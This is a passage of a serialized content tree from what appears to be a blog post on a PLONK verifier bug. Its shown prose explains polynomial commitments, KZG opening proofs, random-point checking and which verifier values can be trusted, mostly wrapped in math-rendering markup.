1549],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":481,"props":141182,"children":141184},{"className":141183},[1555],[141185,141190],{"type":23,"tag":481,"props":141186,"children":141188},{"className":141187},[1555,19086],[141189],{"type":28,"value":16772},{"type":23,"tag":481,"props":141191,"children":141193},{"className":141192},[1572],[141194],{"type":23,"tag":481,"props":141195,"children":141197},{"className":141196},[1577],[141198],{"type":23,"tag":481,"props":141199,"children":141201},{"className":141200},[1582],[141202],{"type":23,"tag":481,"props":141203,"children":141205},{"className":141204,"style":106296},[1587],[141206],{"type":23,"tag":481,"props":141207,"children":141208},{"style":1591},[141209,141213],{"type":23,"tag":481,"props":141210,"children":141212},{"className":141211,"style":1597},[1596],[],{"type":23,"tag":481,"props":141214,"children":141216},{"className":141215},[1602,1603,1604,1605],[141217],{"type":23,"tag":481,"props":141218,"children":141220},{"className":141219},[1555,19086,1605],[141221],{"type":28,"value":53930},{"type":23,"tag":481,"props":141223,"children":141225},{"className":141224,"style":1637},[1636],[],{"type":23,"tag":481,"props":141227,"children":141229},{"className":141228},[1642],[141230],{"type":28,"value":1616},{"type":23,"tag":481,"props":141232,"children":141234},{"className":141233,"style":1637},[1636],[],{"type":23,"tag":481,"props":141236,"children":141238},{"className":141237},[1544],[141239,141243],{"type":23,"tag":481,"props":141240,"children":141242},{"className":141241,"style":91610},[1549],[],{"type":23,"tag":481,"props":141244,"children":141246},{"className":141245},[1555],[141247],{"type":28,"value":1558},{"type":28,"value":141249}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":64,"props":141251,"children":141253},{"className":141252},[1527,1528],[141254],{"type":23,"tag":481,"props":141255,"children":141257},{"className":141256},[1533],[141258],{"type":23,"tag":481,"props":141259,"children":141261},{"className":141260,"ariaHidden":1539},[1538],[141262],{"type":23,"tag":481,"props":141263,"children":141265},{"className":141264},[1544],[141266,141270,141275,141280,141285],{"type":23,"tag":481,"props":141267,"children":141269},{"className":141268,"style":1657},[1549],[],{"type":23,"tag":481,"props":141271,"children":141273},{"className":141272,"style":19618},[1555,19086],[141274],{"type":28,"value":141143},{"type":23,"tag":481,"props":141276,"children":141278},{"className":141277},[19215],[141279],{"type":28,"value":618},{"type":23,"tag":481,"props":141281,"children":141283},{"className":141282},[1555,19086],[141284],{"type":28,"value":16772},{"type":23,"tag":481,"props":141286,"children":141288},{"className":141287},[19237],[141289],{"type":28,"value":642},{"type":28,"value":141291}," divides ",{"type":23,"tag":64,"props":141293,"children":141295},{"className":141294},[1527,1528],[141296],{"type":23,"tag":481,"props":141297,"children":141299},{"className":141298},[1533],[141300],{"type":23,"tag":481,"props":141301,"children":141303},{"className":141302,"ariaHidden":1539},[1538],[141304],{"type":23,"tag":481,"props":141305,"children":141307},{"className":141306},[1544],[141308,141312,141317,141322,141327],{"type":23,"tag":481,"props":141309,"children":141311},{"className":141310,"style":1657},[1549],[],{"type":23,"tag":481,"props":141313,"children":141315},{"className":141314,"style":19087},[1555,19086],[141316],{"type":28,"value":119357},{"type":23,"tag":481,"props":141318,"children":141320},{"className":141319},[19215],[141321],{"type":28,"value":618},{"type":23,"tag":481,"props":141323,"children":141325},{"className":141324},[1555,19086],[141326],{"type":28,"value":16772},{"type":23,"tag":481,"props":141328,"children":141330},{"className":141329},[19237],[141331],{"type":28,"value":642},{"type":28,"value":141333},", yielding a quotient polynomial ",{"type":23,"tag":64,"props":141335,"children":141337},{"className":141336},[1527,1528],[141338],{"type":23,"tag":481,"props":141339,"children":141341},{"className":141340},[1533],[141342],{"type":23,"tag":481,"props":141343,"children":141345},{"className":141344,"ariaHidden":1539},[1538],[141346],{"type":23,"tag":481,"props":141347,"children":141349},{"className":141348},[1544],[141350,141354,141359,141364,141369],{"type":23,"tag":481,"props":141351,"children":141353},{"className":141352,"style":1657},[1549],[],{"type":23,"tag":481,"props":141355,"children":141357},{"className":141356,"style":19087},[1555,19086],[141358],{"type":28,"value":3464},{"type":23,"tag":481,"props":141360,"children":141362},{"className":141361},[19215],[141363],{"type":28,"value":618},{"type":23,"tag":481,"props":141365,"children":141367},{"className":141366},[1555,19086],[141368],{"type":28,"value":16772},{"type":23,"tag":481,"props":141370,"children":141372},{"className":141371},[19237],[141373],{"type":28,"value":642},{"type":28,"value":19002},{"type":23,"tag":64,"props":141376,"children":141378},{"className":141377},[1527,1528],[141379],{"type":23,"tag":481,"props":141380,"children":141382},{"className":141381},[1533],[141383],{"type":23,"tag":481,"props":141384,"children":141386},{"className":141385,"ariaHidden":1539},[1538],[141387,141428,141469],{"type":23,"tag":481,"props":141388,"children":141390},{"className":141389},[1544],[141391,141395,141400,141405,141410,141415,141419,141424],{"type":23,"tag":481,"props":141392,"children":141394},{"className":141393,"style":1657},[1549],[],{"type":23,"tag":481,"props":141396,"children":141398},{"className":141397,"style":19087},[1555,19086],[141399],{"type":28,"value":119357},{"type":23,"tag":481,"props":141401,"children":141403},{"className":141402},[19215],[141404],{"type":28,"value":618},{"type":23,"tag":481,"props":141406,"children":141408},{"className":141407},[1555,19086],[141409],{"type":28,"value":16772},{"type":23,"tag":481,"props":141411,"children":141413},{"className":141412},[19237],[141414],{"type":28,"value":642},{"type":23,"tag":481,"props":141416,"children":141418},{"className":141417,"style":1734},[1636],[],{"type":23,"tag":481,"props":141420,"children":141422},{"className":141421},[1739],[141423],{"type":28,"value":603},{"type":23,"tag":481,"props":141425,"children":141427},{"className":141426,"style":1734},[1636],[],{"type":23,"tag":481,"props":141429,"children":141431},{"className":141430},[1544],[141432,141436,141441,141446,141451,141456,141460,141465],{"type":23,"tag":481,"props":141433,"children":141435},{"className":141434,"style":1657},[1549],[],{"type":23,"tag":481,"props":141437,"children":141439},{"className":141438,"style":19087},[1555,19086],[141440],{"type":28,"value":3464},{"type":23,"tag":481,"props":141442,"children":141444},{"className":141443},[19215],[141445],{"type":28,"value":618},{"type":23,"tag":481,"props":141447,"children":141449},{"className":141448},[1555,19086],[141450],{"type":28,"value":16772},{"type":23,"tag":481,"props":141452,"children":141454},{"className":141453},[19237],[141455],{"type":28,"value":642},{"type":23,"tag":481,"props":141457,"children":141459},{"className":141458,"style":1637},[1636],[],{"type":23,"tag":481,"props":141461,"children":141463},{"className":141462},[1642],[141464],{"type":28,"value":108841},{"type":23,"tag":481,"props":141466,"children":141468},{"className":141467,"style":1637},[1636],[],{"type":23,"tag":481,"props":141470,"children":141472},{"className":141471},[1544],[141473,141477,141482,141487,141492],{"type":23,"tag":481,"props":141474,"children":141476},{"className":141475,"style":1657},[1549],[],{"type":23,"tag":481,"props":141478,"children":141480},{"className":141479,"style":19618},[1555,19086],[141481],{"type":28,"value":141143},{"type":23,"tag":481,"props":141483,"children":141485},{"className":141484},[19215],[141486],{"type":28,"value":618},{"type":23,"tag":481,"props":141488,"children":141490},{"className":141489},[1555,19086],[141491],{"type":28,"value":16772},{"type":23,"tag":481,"props":141493,"children":141495},{"className":141494},[19237],[141496],{"type":28,"value":642},{"type":28,"value":199},{"type":23,"tag":24,"props":141499,"children":141500},{},[141501],{"type":23,"tag":149,"props":141502,"children":141505},{"alt":141503,"src":141504},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":7092,"props":141507,"children":141509},{"id":141508},"polynomial-commitments-and-opening-proofs",[141510],{"type":28,"value":141511},"Polynomial commitments and opening proofs",{"type":23,"tag":24,"props":141513,"children":141514},{},[141515,141517,141522,141524,141529],{"type":28,"value":141516},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":127,"props":141518,"children":141519},{},[141520],{"type":28,"value":141521},"commitments",{"type":28,"value":141523},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":127,"props":141525,"children":141526},{},[141527],{"type":28,"value":141528},"opening proof",{"type":28,"value":141530}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":24,"props":141532,"children":141533},{},[141534],{"type":28,"value":141535},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":7092,"props":141537,"children":141539},{"id":141538},"reducing-to-a-single-random-point",[141540],{"type":28,"value":141541},"Reducing to a single random point",{"type":23,"tag":24,"props":141543,"children":141544},{},[141545,141547,141587,141589,141614,141616,141738,141740,141765],{"type":28,"value":141546},"After the prover commits to all polynomials, including ",{"type":23,"tag":64,"props":141548,"children":141550},{"className":141549},[1527,1528],[141551],{"type":23,"tag":481,"props":141552,"children":141554},{"className":141553},[1533],[141555],{"type":23,"tag":481,"props":141556,"children":141558},{"className":141557,"ariaHidden":1539},[1538],[141559],{"type":23,"tag":481,"props":141560,"children":141562},{"className":141561},[1544],[141563,141567,141572,141577,141582],{"type":23,"tag":481,"props":141564,"children":141566},{"className":141565,"style":1657},[1549],[],{"type":23,"tag":481,"props":141568,"children":141570},{"className":141569,"style":19087},[1555,19086],[141571],{"type":28,"value":3464},{"type":23,"tag":481,"props":141573,"children":141575},{"className":141574},[19215],[141576],{"type":28,"value":618},{"type":23,"tag":481,"props":141578,"children":141580},{"className":141579},[1555,19086],[141581],{"type":28,"value":16772},{"type":23,"tag":481,"props":141583,"children":141585},{"className":141584},[19237],[141586],{"type":28,"value":642},{"type":28,"value":141588},", the verifier picks a random challenge point ",{"type":23,"tag":64,"props":141590,"children":141592},{"className":141591},[1527,1528],[141593],{"type":23,"tag":481,"props":141594,"children":141596},{"className":141595},[1533],[141597],{"type":23,"tag":481,"props":141598,"children":141600},{"className":141599,"ariaHidden":1539},[1538],[141601],{"type":23,"tag":481,"props":141602,"children":141604},{"className":141603},[1544],[141605,141609],{"type":23,"tag":481,"props":141606,"children":141608},{"className":141607,"style":108420},[1549],[],{"type":23,"tag":481,"props":141610,"children":141612},{"className":141611,"style":111136},[1555,19086],[141613],{"type":28,"value":111139},{"type":28,"value":141615}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":64,"props":141617,"children":141619},{"className":141618},[1527,1528],[141620],{"type":23,"tag":481,"props":141621,"children":141623},{"className":141622},[1533],[141624],{"type":23,"tag":481,"props":141625,"children":141627},{"className":141626,"ariaHidden":1539},[1538],[141628,141669,141710],{"type":23,"tag":481,"props":141629,"children":141631},{"className":141630},[1544],[141632,141636,141641,141646,141651,141656,141660,141665],{"type":23,"tag":481,"props":141633,"children":141635},{"className":141634,"style":1657},[1549],[],{"type":23,"tag":481,"props":141637,"children":141639},{"className":141638,"style":19087},[1555,19086],[141640],{"type":28,"value":119357},{"type":23,"tag":481,"props":141642,"children":141644},{"className":141643},[19215],[141645],{"type":28,"value":618},{"type":23,"tag":481,"props":141647,"children":141649},{"className":141648,"style":111136},[1555,19086],[141650],{"type":28,"value":111139},{"type":23,"tag":481,"props":141652,"children":141654},{"className":141653},[19237],[141655],{"type":28,"value":642},{"type":23,"tag":481,"props":141657,"children":141659},{"className":141658,"style":1734},[1636],[],{"type":23,"tag":481,"props":141661,"children":141663},{"className":141662},[1739],[141664],{"type":28,"value":603},{"type":23,"tag":481,"props":141666,"children":141668},{"className":141667,"style":1734},[1636],[],{"type":23,"tag":481,"props":141670,"children":141672},{"className":141671},[1544],[141673,141677,141682,141687,141692,141697,141701,141706],{"type":23,"tag":481,"props":141674,"children":141676},{"className":141675,"style":1657},[1549],[],{"type":23,"tag":481,"props":141678,"children":141680},{"className":141679,"style":19087},[1555,19086],[141681],{"type":28,"value":3464},{"type":23,"tag":481,"props":141683,"children":141685},{"className":141684},[19215],[141686],{"type":28,"value":618},{"type":23,"tag":481,"props":141688,"children":141690},{"className":141689,"style":111136},[1555,19086],[141691],{"type":28,"value":111139},{"type":23,"tag":481,"props":141693,"children":141695},{"className":141694},[19237],[141696],{"type":28,"value":642},{"type":23,"tag":481,"props":141698,"children":141700},{"className":141699,"style":1637},[1636],[],{"type":23,"tag":481,"props":141702,"children":141704},{"className":141703},[1642],[141705],{"type":28,"value":108841},{"type":23,"tag":481,"props":141707,"children":141709},{"className":141708,"style":1637},[1636],[],{"type":23,"tag":481,"props":141711,"children":141713},{"className":141712},[1544],[141714,141718,141723,141728,141733],{"type":23,"tag":481,"props":141715,"children":141717},{"className":141716,"style":1657},[1549],[],{"type":23,"tag":481,"props":141719,"children":141721},{"className":141720,"style":19618},[1555,19086],[141722],{"type":28,"value":141143},{"type":23,"tag":481,"props":141724,"children":141726},{"className":141725},[19215],[141727],{"type":28,"value":618},{"type":23,"tag":481,"props":141729,"children":141731},{"className":141730,"style":111136},[1555,19086],[141732],{"type":28,"value":111139},{"type":23,"tag":481,"props":141734,"children":141736},{"className":141735},[19237],[141737],{"type":28,"value":642},{"type":28,"value":141739}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":64,"props":141741,"children":141743},{"className":141742},[1527,1528],[141744],{"type":23,"tag":481,"props":141745,"children":141747},{"className":141746},[1533],[141748],{"type":23,"tag":481,"props":141749,"children":141751},{"className":141750,"ariaHidden":1539},[1538],[141752],{"type":23,"tag":481,"props":141753,"children":141755},{"className":141754},[1544],[141756,141760],{"type":23,"tag":481,"props":141757,"children":141759},{"className":141758,"style":108420},[1549],[],{"type":23,"tag":481,"props":141761,"children":141763},{"className":141762,"style":111136},[1555,19086],[141764],{"type":28,"value":111139},{"type":28,"value":141766}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":24,"props":141768,"children":141769},{},[141770,141772,141797,141799,141804],{"type":28,"value":141771},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":64,"props":141773,"children":141775},{"className":141774},[1527,1528],[141776],{"type":23,"tag":481,"props":141777,"children":141779},{"className":141778},[1533],[141780],{"type":23,"tag":481,"props":141781,"children":141783},{"className":141782,"ariaHidden":1539},[1538],[141784],{"type":23,"tag":481,"props":141785,"children":141787},{"className":141786},[1544],[141788,141792],{"type":23,"tag":481,"props":141789,"children":141791},{"className":141790,"style":108420},[1549],[],{"type":23,"tag":481,"props":141793,"children":141795},{"className":141794,"style":111136},[1555,19086],[141796],{"type":28,"value":111139},{"type":28,"value":141798},", the prover supplies ",{"type":23,"tag":127,"props":141800,"children":141801},{},[141802],{"type":28,"value":141803},"evaluation claims",{"type":28,"value":141805}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":24,"props":141807,"children":141808},{},[141809,141811,141815],{"type":28,"value":141810},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":127,"props":141812,"children":141813},{},[141814],{"type":28,"value":102123},{"type":28,"value":141816}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":7092,"props":141818,"children":141820},{"id":141819},"what-the-verifier-is-actually-allowed-to-trust",[141821],{"type":28,"value":141822},"What the verifier is actually allowed to trust",{"type":23,"tag":24,"props":141824,"children":141825},{},[141826,141828,141833],{"type":28,"value":141827},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":2875,"props":141829,"children":141830},{},[141831],{"type":28,"value":141832},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":199},{"type":23,"tag":24,"props":141835,"children":141836},{},[141837,141839,141931,141932,142024,142026,142051,142053,142093,142094,142134,142135,142228,142229,142275,142277,142364,142365,142452,142453,142540],{"type":28,"value":141838},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":64,"props":141840,"children":141842},{"className":141841},[1527,1528],[141843],{"type":23,"tag":481,"props":141844,"children":141846},{"className":141845},[1533],[141847],{"type":23,"tag":481,"props":141848,"children":141850},{"className":141849,"ariaHidden":1539},[1538],[141851],{"type":23,"tag":481,"props":141852,"children":141854},{"className":141853},[1544],[141855,141859,141916,141921,141926],{"type":23,"tag":481,"props":141856,"children":141858},{"className":141857,"style":1657},[1549],[],{"type":23,"tag":481,"props":141860,"children":141862},{"className":141861},[1555],[141863,141868],{"type":23,"tag":481,"props":141864,"children":141866},{"className":141865,"style":19618},[1555,19086],[141867],{"type":28,"value":141143},{"type":23,"tag":481,"props":141869,"children":141871},{"className":141870},[1572],[141872],{"type":23,"tag":481,"props":141873,"children":141875},{"className":141874},[1577,19140],[141876,141905],{"type":23,"tag":481,"props":141877,"children":141879},{"className":141878},[1582],[141880,141900],{"type":23,"tag":481,"props":141881,"children":141883},{"className":141882,"style":140134},[1587],[141884],{"type":23,"tag":481,"props":141885,"children":141886},{"style":113828},[141887,141891],{"type":23,"tag":481,"props":141888,"children":141890},{"className":141889,"style":1597},[1596],[],{"type":23,"tag":481,"props":141892,"children":141894},{"className":141893},[1602,1603,1604,1605],[141895],{"type":23,"tag":481,"props":141896,"children":141898},{"className":141897,"style":90813},[1555,19086,1605],[141899],{"type":28,"value":90816},{"type":23,"tag":481,"props":141901,"children":141903},{"className":141902},[19243],[141904],{"type":28,"value":19246},{"type":23,"tag":481,"props":141906,"children":141908},{"className":141907},[1582],[141909],{"type":23,"tag":481,"props":141910,"children":141912},{"className":141911,"style":90662},[1587],[141913],{"type":23,"tag":481,"props":141914,"children":141915},{},[],{"type":23,"tag":481,"props":141917,"children":141919},{"className":141918},[19215],[141920],{"type":28,"value":618},{"type":23,"tag":481,"props":141922,"children":141924},{"className":141923,"style":111136},[1555,19086],[141925],{"type":28,"value":111139},{"type":23,"tag":481,"props":141927,"children":141929},{"className":141928},[19237],[141930],{"type":28,"value":642},{"type":28,"value":588},{"type":23,"tag":64,"props":141933,"children":141935},{"className":141934},[1527,1528],[141936],{"type":23,"tag":481,"props":141937,"children":141939},{"className":141938},[1533],[141940],{"type":23,"tag":481,"props":141941,"children":141943},{"className":141942,"ariaHidden":1539},[1538],[141944],{"type":23,"tag":481,"props":141945,"children":141947},{"className":141946},[1544],[141948,141952,142009,142014,142019],{"type":23,"tag":481,"props":141949,"children":141951},{"className":141950,"style":1657},[1549],[],{"type":23,"tag":481,"props":141953,"children":141955},{"className":141954},[1555],[141956,141961],{"type":23,"tag":481,"props":141957,"children":141959},{"className":141958},[1555,19086],[141960],{"type":28,"value":115543},{"type":23,"tag":481,"props":141962,"children":141964},{"className":141963},[1572],[141965],{"type":23,"tag":481,"props":141966,"children":141968},{"className":141967},[1577,19140],[141969,141998],{"type":23,"tag":481,"props":141970,"children":141972},{"className":141971},[1582],[141973,141993],{"type":23,"tag":481,"props":141974,"children":141976},{"className":141975,"style":90631},[1587],[141977],{"type":23,"tag":481,"props":141978,"children":141979},{"style":90635},[141980,141984],{"type":23,"tag":481,"props":141981,"children":141983},{"className":141982,"style":1597},[1596],[],{"type":23,"tag":481,"props":141985,"children":141987},{"className":141986},[1602,1603,1604,1605],[141988],{"type":23,"tag":481,"props":141989,"children":141991},{"className":141990},[1555,1605],[141992],{"type":28,"value":1558},{"type":23,"tag":481,"props":141994,"children":141996},{"className":141995},[19243],[141997],{"type":28,"value":19246},{"type":23,"tag":481,"props":141999,"children":142001},{"className":142000},[1582],[142002],{"type":23,"tag":481,"props":142003,"children":142005},{"className":142004,"style":90662},[1587],[142006],{"type":23,"tag":481,"props":142007,"children":142008},{},[],{"type":23,"tag":481,"props":142010,"children":142012},{"className":142011},[19215],[142013],{"type":28,"value":618},{"type":23,"tag":481,"props":142015,"children":142017},{"className":142016,"style":111136},[1555,19086],[142018],{"type":28,"value":111139},{"type":23,"tag":481,"props":142020,"children":142022},{"className":142021},[19237],[142023],{"type":28,"value":642},{"type":28,"value":142025},", the public-input polynomial at ",{"type":23,"tag":64,"props":142027,"children":142029},{"className":142028},[1527,1528],[142030],{"type":23,"tag":481,"props":142031,"children":142033},{"className":142032},[1533],[142034],{"type":23,"tag":481,"props":142035,"children":142037},{"className":142036,"ariaHidden":1539},[1538],[142038],{"type":23,"tag":481,"props":142039,"children":142041},{"className":142040},[1544],[142042,142046],{"type":23,"tag":481,"props":142043,"children":142045},{"className":142044,"style":108420},[1549],[],{"type":23,"tag":481,"props":142047,"children":142049},{"className":142048,"style":111136},[1555,19086],[142050],{"type":28,"value":111139},{"type":28,"value":142052},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":64,"props":142054,"children":142056},{"className":142055},[1527,1528],[142057],{"type":23,"tag":481,"props":142058,"children":142060},{"className":142059},[1533],[142061],{"type":23,"tag":481,"props":142062,"children":142064},{"className":142063,"ariaHidden":1539},[1538],[142065],{"type":23,"tag":481,"props":142066,"children":142068},{"className":142067},[1544],[142069,142073,142078,142083,142088],{"type":23,"tag":481,"props":142070,"children":142072},{"className":142071,"style":1657},[1549],[],{"type":23,"tag":481,"props":142074,"children":142076},{"className":142075},[1555,19086],[142077],{"type":28,"value":190},{"type":23,"tag":481,"props":142079,"children":142081},{"className":142080},[19215],[142082],{"type":28,"value":618},{"type":23,"tag":481,"props":142084,"children":142086},{"className":142085,"style":111136},[1555,19086],[142087],{"type":28,"value":111139},{"type":23,"tag":481,"props":142089,"children":142091},{"className":142090},[19237],[142092],{"type":28,"value":642},{"type":28,"value":588},{"type":23,"tag":64,"props":142095,"children":142097},{"className":142096},[1527,1528],[142098],{"type":23,"tag":481,"props":142099,"children":142101},{"className":142100},[1533],[142102],{"type":23,"tag":481,"props":142103,"children":142105},{"className":142104,"ariaHidden":1539},[1538],[142106],{"type":23,"tag":481,"props":142107,"children":142109},{"className":142108},[1544],[142110,142114,142119,142124,142129],{"type":23,"tag":481,"props":142111,"children":142113},{"className":142112,"style":1657},[1549],[],{"type":23,"tag":481,"props":142115,"children":142117},{"className":142116},[1555,19086],[142118],{"type":28,"value":739},{"type":23,"tag":481,"props":142120,"children":142122},{"className":142121},[19215],[142123],{"type":28,"value":618},{"type":23,"tag":481,"props":142125,"children":142127},{"className":142126,"style":111136},[1555,19086],[142128],{"type":28,"value":111139},{"type":23,"tag":481,"props":142130,"children":142132},{"className":142131},[19237],[142133],{"type":28,"value":642},{"type":28,"value":588},{"type":23,"tag":64,"props":142136,"children":142138},{"className":142137},[1527,1528],[142139],{"type":23,"tag":481,"props":142140,"children":142142},{"className":142141},[1533],[142143],{"type":23,"tag":481,"props":142144,"children":142146},{"className":142145,"ariaHidden":1539},[1538],[142147],{"type":23,"tag":481,"props":142148,"children":142150},{"className":142149},[1544],[142151,142155,142213,142218,142223],{"type":23,"tag":481,"props":142152,"children":142154},{"className":142153,"style":1657},[1549],[],{"type":23,"tag":481,"props":142156,"children":142158},{"className":142157},[1555],[142159,142165],{"type":23,"tag":481,"props":142160,"children":142162},{"className":142161,"style":91065},[1555,19086],[142163],{"type":28,"value":142164},"σ",{"type":23,"tag":481,"props":142166,"children":142168},{"className":142167},[1572],[142169],{"type":23,"tag":481,"props":142170,"children":142172},{"className":142171},[1577,19140],[142173,142202],{"type":23,"tag":481,"props":142174,"children":142176},{"className":142175},[1582],[142177,142197],{"type":23,"tag":481,"props":142178,"children":142180},{"className":142179,"style":90631},[1587],[142181],{"type":23,"tag":481,"props":142182,"children":142183},{"style":91112},[142184,142188],{"type":23,"tag":481,"props":142185,"children":142187},{"className":142186,"style":1597},[1596],[],{"type":23,"tag":481,"props":142189,"children":142191},{"className":142190},[1602,1603,1604,1605],[142192],{"type":23,"tag":481,"props":142193,"children":142195},{"className":142194},[1555,1605],[142196],{"type":28,"value":1558},{"type":23,"tag":481,"props":142198,"children":142200},{"className":142199},[19243],[142201],{"type":28,"value":19246},{"type":23,"tag":481,"props":142203,"children":142205},{"className":142204},[1582],[142206],{"type":23,"tag":481,"props":142207,"children":142209},{"className":142208,"style":90662},[1587],[142210],{"type":23,"tag":481,"props":142211,"children":142212},{},[],{"type":23,"tag":481,"props":142214,"children":142216},{"className":142215},[19215],[142217],{"type":28,"value":618},{"type":23,"tag":481,"props":142219,"children":142221},{"className":142220,"style":111136},[1555,19086],[142222],{"type":28,"value":111139},{"type":23,"tag":481,"props":142224,"children":142226},{"className":142225},[19237],[142227],{"type":28,"value":642},{"type":28,"value":588},{"type":23,"tag":64,"props":142230,"children":142232},{"className":142231},[1527,1528],[142233],{"type":23,"tag":481,"props":142234,"children":142236},{"className":142235},[1533],[142237],{"type":23,"tag":481,"props":142238,"children":142240},{"className":142239,"ariaHidden":1539},[1538],[142241],{"type":23,"tag":481,"props":142242,"children":142244},{"className":142243},[1544],[142245,142249,142254,142259,142264,142270],{"type":23,"tag":481,"props":142246,"children":142248},{"className":142247,"style":1657},[1549],[],{"type":23,"tag":481,"props":142250,"children":142252},{"className":142251},[1555,19086],[142253],{"type":28,"value":190},{"type":23,"tag":481,"props":142255,"children":142257},{"className":142256},[19215],[142258],{"type":28,"value":618},{"type":23,"tag":481,"props":142260,"children":142262},{"className":142261,"style":111136},[1555,19086],[142263],{"type":28,"value":111139},{"type":23,"tag":481,"props":142265,"children":142267},{"className":142266,"style":91065},[1555,19086],[142268],{"type":28,"value":142269},"ω",{"type":23,"tag":481,"props":142271,"children":142273},{"className":142272},[19237],[142274],{"type":28,"value":642},{"type":28,"value":142276},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":64,"props":142278,"children":142280},{"className":142279},[1527,1528],[142281],{"type":23,"tag":481,"props":142282,"children":142284},{"className":142283},[1533],[142285],{"type":23,"tag":481,"props":142286,"children":142288},{"className":142287,"ariaHidden":1539},[1538],[142289],{"type":23,"tag":481,"props":142290,"children":142292},{"className":142291},[1544],[142293,142297,142302,142359],{"type":23,"tag":481,"props":142294,"children":142296},{"className":142295,"style":1657},[1549],[],{"type":23,"tag":481,"props":142298,"children":142300},{"className":142299},[19215],[142301],{"type":28,"value":1269},{"type":23,"tag":481,"props":142303,"children":142305},{"className":142304},[1555],[142306,142311],{"type":23,"tag":481,"props":142307,"children":142309},{"className":142308,"style":91065},[1555,19086],[142310],{"type":28,"value":91068},{"type":23,"tag":481,"props":142312,"children":142314},{"className":142313},[1572],[142315],{"type":23,"tag":481,"props":142316,"children":142318},{"className":142317},[1577,19140],[142319,142348],{"type":23,"tag":481,"props":142320,"children":142322},{"className":142321},[1582],[142323,142343],{"type":23,"tag":481,"props":142324,"children":142326},{"className":142325,"style":140134},[1587],[142327],{"type":23,"tag":481,"props":142328,"children":142329},{"style":91112},[142330,142334],{"type":23,"tag":481,"props":142331,"children":142333},{"className":142332,"style":1597},[1596],[],{"type":23,"tag":481,"props":142335,"children":142337},{"className":142336},[1602,1603,1604,1605],[142338],{"type":23,"tag":481,"props":142339,"children":142341},{"className":142340,"style":92587},[1555,19086,1605],[142342],{"type":28,"value":92590},{"type":23,"tag":481,"props":142344,"children":142346},{"className":142345},[19243],[142347],{"type":28,"value":19246},{"type":23,"tag":481,"props":142349,"children":142351},{"className":142350},[1582],[142352],{"type":23,"tag":481,"props":142353,"children":142355},{"className":142354,"style":90662},[1587],[142356],{"type":23,"tag":481,"props":142357,"children":142358},{},[],{"type":23,"tag":481,"props":142360,"children":142362},{"className":142361},[19237],[142363],{"type":28,"value":12900},{"type":28,"value":588},{"type":23,"tag":64,"props":142366,"children":142368},{"className":142367},[1527,1528],[142369],{"type":23,"tag":481,"props":142370,"children":142372},{"className":142371},[1533],[142373],{"type":23,"tag":481,"props":142374,"children":142376},{"className":142375,"ariaHidden":1539},[1538],[142377],{"type":23,"tag":481,"props":142378,"children":142380},{"className":142379},[1544],[142381,142385,142390,142447],{"type":23,"tag":481,"props":142382,"children":142384},{"className":142383,"style":1657},[1549],[],{"type":23,"tag":481,"props":142386,"children":142388},{"className":142387},[19215],[142389],{"type":28,"value":1269},{"type":23,"tag":481,"props":142391,"children":142393},{"className":142392},[1555],[142394,142399],{"type":23,"tag":481,"props":142395,"children":142397},{"className":142396,"style":91065},[1555,19086],[142398],{"type":28,"value":91068},{"type":23,"tag":481,"props":142400,"children":142402},{"className":142401},[1572],[142403],{"type":23,"tag":481,"props":142404,"children":142406},{"className":142405},[1577,19140],[142407,142436],{"type":23,"tag":481,"props":142408,"children":142410},{"className":142409},[1582],[142411,142431],{"type":23,"tag":481,"props":142412,"children":142414},{"className":142413,"style":140134},[1587],[142415],{"type":23,"tag":481,"props":142416,"children":142417},{"style":91112},[142418,142422],{"type":23,"tag":481,"props":142419,"children":142421},{"className":142420,"style":1597},[1596],[],{"type":23,"tag":481,"props":142423,"children":142425},{"className":142424},[1602,1603,1604,1605],[142426],{"type":23,"tag":481,"props":142427,"children":142429},{"className":142428,"style":90579},[1555,19086,1605],[142430],{"type":28,"value":112898},{"type":23,"tag":481,"props":142432,"children":142434},{"className":142433},[19243],[142435],{"type":28,"value":19246},{"type":23,"tag":481,"props":142437,"children":142439},{"className":142438},[1582],[142440],{"type":23,"tag":481,"props":142441,"children":142443},{"className":142442,"style":90662},[1587],[142444],{"type":23,"tag":481,"props":142445,"children":142446},{},[],{"type":23,"tag":481,"props":142448,"children":142450},{"className":142449},[19237],[142451],{"type":28,"value":12900},{"type":28,"value":588},{"type":23,"tag":64,"props":142454,"children":142456},{"className":142455},[1527,1528],[142457],{"type":23,"tag":481,"props":142458,"children":142460},{"className":142459},[1533],[142461],{"type":23,"tag":481,"props":142462,"children":142464},{"className":142463,"ariaHidden":1539},[1538],[142465],{"type":23,"tag":481,"props":142466,"children":142468},{"className":142467},[1544],[142469,142473,142478,142535],{"type":23,"tag":481,"props":142470,"children":142472},{"className":142471,"style":1657},[1549],[],{"type":23,"tag":481,"props":142474,"children":142476},{"className":142475},[19215],[142477],{"type":28,"value":1269},{"type":23,"tag":481,"props":142479,"children":142481},{"className":142480},[1555],[142482,142487],{"type":23,"tag":481,"props":142483,"children":142485},{"className":142484,"style":91065},[1555,19086],[142486],{"